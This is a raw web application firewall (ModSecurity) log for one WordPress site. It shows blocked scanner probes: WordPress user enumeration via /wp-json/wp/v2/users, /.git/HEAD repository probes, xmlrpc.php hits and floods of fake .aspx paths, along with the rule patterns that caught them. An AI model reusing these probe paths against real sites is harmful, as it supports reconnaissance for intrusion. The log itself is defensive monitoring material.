[Thu May 21 11:29:13.376084 2026] [:error] [pid 49884:tid 49966] [client 147.135.213.170:46210] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ag58Ca5MPpsTNNHWS6glyAAAAJM"]
[Thu May 21 11:29:15.293855 2026] [:error] [pid 9189:tid 9220] [client 147.135.213.170:46224] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ag58C5vTDh1NbYizKVxKrwAAAgE"]
[Thu May 21 11:29:17.210354 2026] [:error] [pid 49982:tid 49991] [client 147.135.213.170:46236] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ag58DWFwIDa5Tf8O4bZxTAAAAMc"]
[Thu May 21 11:29:19.115192 2026] [:error] [pid 9188:tid 9216] [client 147.135.213.170:46240] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ag58D7GYm6q5dNSUvA-NrQAAAdg"]
[Thu May 21 11:29:21.011857 2026] [:error] [pid 49982:tid 49995] [client 147.135.213.170:46244] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ag58EWFwIDa5Tf8O4bZxVAAAAMs"]
[Thu May 21 11:29:22.939303 2026] [:error] [pid 9114:tid 9136] [client 147.135.213.170:46252] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ag58Em8FiJqDBEoTvqxFhAAAAVQ"]
[Thu May 21 11:29:24.852342 2026] [:error] [pid 9114:tid 9135] [client 147.135.213.170:42870] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ag58FG8FiJqDBEoTvqxFhgAAAVM"]
[Thu May 21 11:29:26.747481 2026] [:error] [pid 9189:tid 9241] [client 147.135.213.170:42882] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ag58FpvTDh1NbYizKVxKswAAAhY"]
[Thu May 21 11:29:28.802194 2026] [:error] [pid 49884:tid 49962] [client 147.135.213.170:42890] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ag58GK5MPpsTNNHWS6glzgAAAI8"]
[Thu May 21 11:29:30.700820 2026] [:error] [pid 9189:tid 9231] [client 147.135.213.170:42906] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ag58GpvTDh1NbYizKVxKtQAAAgw"]
[Thu May 21 11:29:32.614299 2026] [:error] [pid 49884:tid 49960] [client 147.135.213.170:42914] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ag58HK5MPpsTNNHWS6gl1AAAAI0"]
[Thu May 21 11:29:34.528633 2026] [:error] [pid 9157:tid 9177] [client 147.135.213.170:51140] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ag58HsGfHcLNqE8m88JSgQAAAZI"]
[Thu May 21 11:29:36.430041 2026] [:error] [pid 9114:tid 9128] [client 147.135.213.170:51148] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ag58IG8FiJqDBEoTvqxFjgAAAUw"]
[Thu May 21 11:29:38.324141 2026] [:error] [pid 49884:tid 49969] [client 147.135.213.170:51162] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ag58Iq5MPpsTNNHWS6gl6AAAAJY"]
[Thu May 21 11:29:40.319767 2026] [:error] [pid 9157:tid 9161] [client 147.135.213.170:51176] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ag58JMGfHcLNqE8m88JShgAAAYI"]
[Thu May 21 11:29:42.362948 2026] [:error] [pid 9114:tid 9135] [client 147.135.213.170:51188] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ag58Jm8FiJqDBEoTvqxFjwAAAVM"]
[Thu May 21 11:29:44.425406 2026] [:error] [pid 49884:tid 49947] [client 147.135.213.170:40558] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ag58KK5MPpsTNNHWS6gl8QAAAIA"]
[Thu May 21 11:29:46.318176 2026] [:error] [pid 9188:tid 9210] [client 147.135.213.170:40564] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ag58KrGYm6q5dNSUvA-NtAAAAdI"]
[Thu May 21 11:29:48.361396 2026] [:error] [pid 49879:tid 49935] [client 147.135.213.170:40566] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ag58LIVqYDjFSyG2gFoxHAAAAE8"]
[Thu May 21 11:30:29.521334 2026] [:error] [pid 49884:tid 49962] [client 13.203.150.39:37586] [client 13.203.150.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ag58Va5MPpsTNNHWS6gmFwAAAI8"]
[Thu May 21 11:31:35.525275 2026] [:error] [pid 9157:tid 9176] [client 51.161.172.164:38404] [client 51.161.172.164] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ag58l8GfHcLNqE8m88JSzgAAAZE"]
[Thu May 21 12:48:40.758417 2026] [:error] [pid 49884:tid 49955] [client 49.235.136.28:58718] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag6OqK5MPpsTNNHWS6hDggAAAIg"]
[Thu May 21 12:48:52.455677 2026] [:error] [pid 49879:tid 49927] [client 3.235.91.146:53920] [client 3.235.91.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "ag6OtIVqYDjFSyG2gFo4UQAAAEc"]
[Thu May 21 14:42:31.903283 2026] [:error] [pid 49884:tid 49967] [client 43.133.41.88:54906] [client 43.133.41.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag6pV65MPpsTNNHWS6hwkAAAAJQ"]
[Thu May 21 15:27:34.137590 2026] [:error] [pid 49982:tid 49987] [client 43.135.185.59:48782] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag6z5mFwIDa5Tf8O4ba1NAAAAMM"]
[Thu May 21 16:33:12.519890 2026] [:error] [pid 9157:tid 9160] [client 223.185.60.49:25104] [client 223.185.60.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.60.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7DSMGfHcLNqE8m88J5GwAAAYE"]
[Thu May 21 16:33:23.329309 2026] [:error] [pid 49884:tid 49958] [client 223.185.60.49:32414] [client 223.185.60.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.60.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7DU65MPpsTNNHWS6ibvQAAAIs"]
[Thu May 21 16:33:36.516353 2026] [:error] [pid 49879:tid 49938] [client 223.185.60.49:14111] [client 223.185.60.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.60.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7DYIVqYDjFSyG2gFpQSgAAAFI"]
[Thu May 21 16:33:45.183521 2026] [:error] [pid 9189:tid 9241] [client 223.185.60.49:3968] [client 223.185.60.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.60.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7DaZvTDh1NbYizKVyOfAAAAhY"]
[Thu May 21 16:33:55.938802 2026] [:error] [pid 49884:tid 49969] [client 223.185.60.49:22796] [client 223.185.60.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.60.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7Dc65MPpsTNNHWS6ib4AAAAJY"]
[Thu May 21 17:46:09.830943 2026] [:error] [pid 49879:tid 49927] [client 106.219.70.215:2803] [client 106.219.70.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.70.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7UYYVqYDjFSyG2gFpWxwAAAEc"]
[Thu May 21 17:46:20.199670 2026] [:error] [pid 49982:tid 50001] [client 106.219.70.215:26938] [client 106.219.70.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.70.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7UbGFwIDa5Tf8O4bbX1QAAANE"]
[Thu May 21 17:46:30.865887 2026] [:error] [pid 49884:tid 49963] [client 106.219.70.215:7192] [client 106.219.70.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.70.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7Udq5MPpsTNNHWS6iz6AAAAJA"]
[Thu May 21 17:46:41.602076 2026] [:error] [pid 9189:tid 9234] [client 106.219.70.215:10375] [client 106.219.70.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.70.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7UgZvTDh1NbYizKVya7AAAAg8"]
[Thu May 21 17:46:52.101482 2026] [:error] [pid 49884:tid 49949] [client 106.219.70.215:21596] [client 106.219.70.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.70.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag7UjK5MPpsTNNHWS6iz8wAAAII"]
[Thu May 21 18:43:18.513354 2026] [:error] [pid 9189:tid 9239] [client 43.166.226.186:40772] [client 43.166.226.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag7hxpvTDh1NbYizKVykjAAAAhQ"]
[Thu May 21 19:29:43.123382 2026] [:error] [pid 51613:tid 51639] [client 43.159.152.187:57742] [client 43.159.152.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag7sp2bP0MDvqrVnwer5PwAAARg"]
[Thu May 21 22:32:11.921983 2026] [:error] [pid 49877:tid 49893] [client 170.106.113.159:45110] [client 170.106.113.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag8XaxgN4MeSe4kIL9BFrgAAAAU"]
[Thu May 21 23:22:22.743177 2026] [:error] [pid 9189:tid 9225] [client 170.106.82.209:50240] [client 170.106.82.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag8jLpvTDh1NbYizKVzVFQAAAgY"]
[Thu May 21 23:24:10.182780 2026] [:error] [pid 49884:tid 49956] [client 34.150.255.112:53389] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag8jmq5MPpsTNNHWS6gXfwAAAIk"]
[Thu May 21 23:24:10.607663 2026] [:error] [pid 49884:tid 49953] [client 34.150.255.112:53502] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag8jmq5MPpsTNNHWS6gX6AAAAIY"]
[Thu May 21 23:24:11.043602 2026] [:error] [pid 9188:tid 9205] [client 34.150.255.112:65181] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag8jm7GYm6q5dNSUvA__LAAAAc0"]
[Thu May 21 23:30:06.456193 2026] [:error] [pid 9157:tid 9173] [client 185.94.82.20:65303] [client 185.94.82.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.94.82.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag8k_sGfHcLNqE8m88KjxQAAAY4"]
[Thu May 21 23:30:16.560511 2026] [:error] [pid 9114:tid 9129] [client 185.94.82.20:49345] [client 185.94.82.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.94.82.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag8lCG8FiJqDBEoTvqyMZgAAAU0"]
[Thu May 21 23:30:27.192458 2026] [:error] [pid 49879:tid 49923] [client 185.94.82.20:49855] [client 185.94.82.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.94.82.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag8lE4VqYDjFSyG2gFpyMgAAAEM"]
[Thu May 21 23:30:37.960886 2026] [:error] [pid 9188:tid 9196] [client 185.94.82.20:50230] [client 185.94.82.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.94.82.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag8lHbGYm6q5dNSUvA8AMgAAAcQ"]
[Thu May 21 23:30:48.639025 2026] [:error] [pid 49982:tid 49997] [client 185.94.82.20:50602] [client 185.94.82.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.94.82.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag8lKGFwIDa5Tf8O4bYjWQAAAM0"]
[Fri May 22 01:25:45.691794 2026] [:error] [pid 49877:tid 49888] [client 139.155.134.17:43594] [client 139.155.134.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag9AGRgN4MeSe4kIL9BUOgAAAAA"]
[Fri May 22 02:58:53.964609 2026] [:error] [pid 49879:tid 49931] [client 43.130.91.95:50974] [client 43.130.91.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag9V7YVqYDjFSyG2gFp8EAAAAEs"]
[Fri May 22 03:29:48.981928 2026] [:error] [pid 9157:tid 9168] [client 177.17.242.217:51724] [client 177.17.242.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.17.242.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag9dLMGfHcLNqE8m88LPiQAAAYk"]
[Fri May 22 03:29:58.731029 2026] [:error] [pid 38463:tid 38639] [client 177.17.242.217:52187] [client 177.17.242.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.17.242.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag9dNh4oIQTtH1fRix0rSwAAAkE"]
[Fri May 22 03:30:09.418562 2026] [:error] [pid 9114:tid 9138] [client 177.17.242.217:52645] [client 177.17.242.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.17.242.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag9dQW8FiJqDBEoTvqybagAAAVY"]
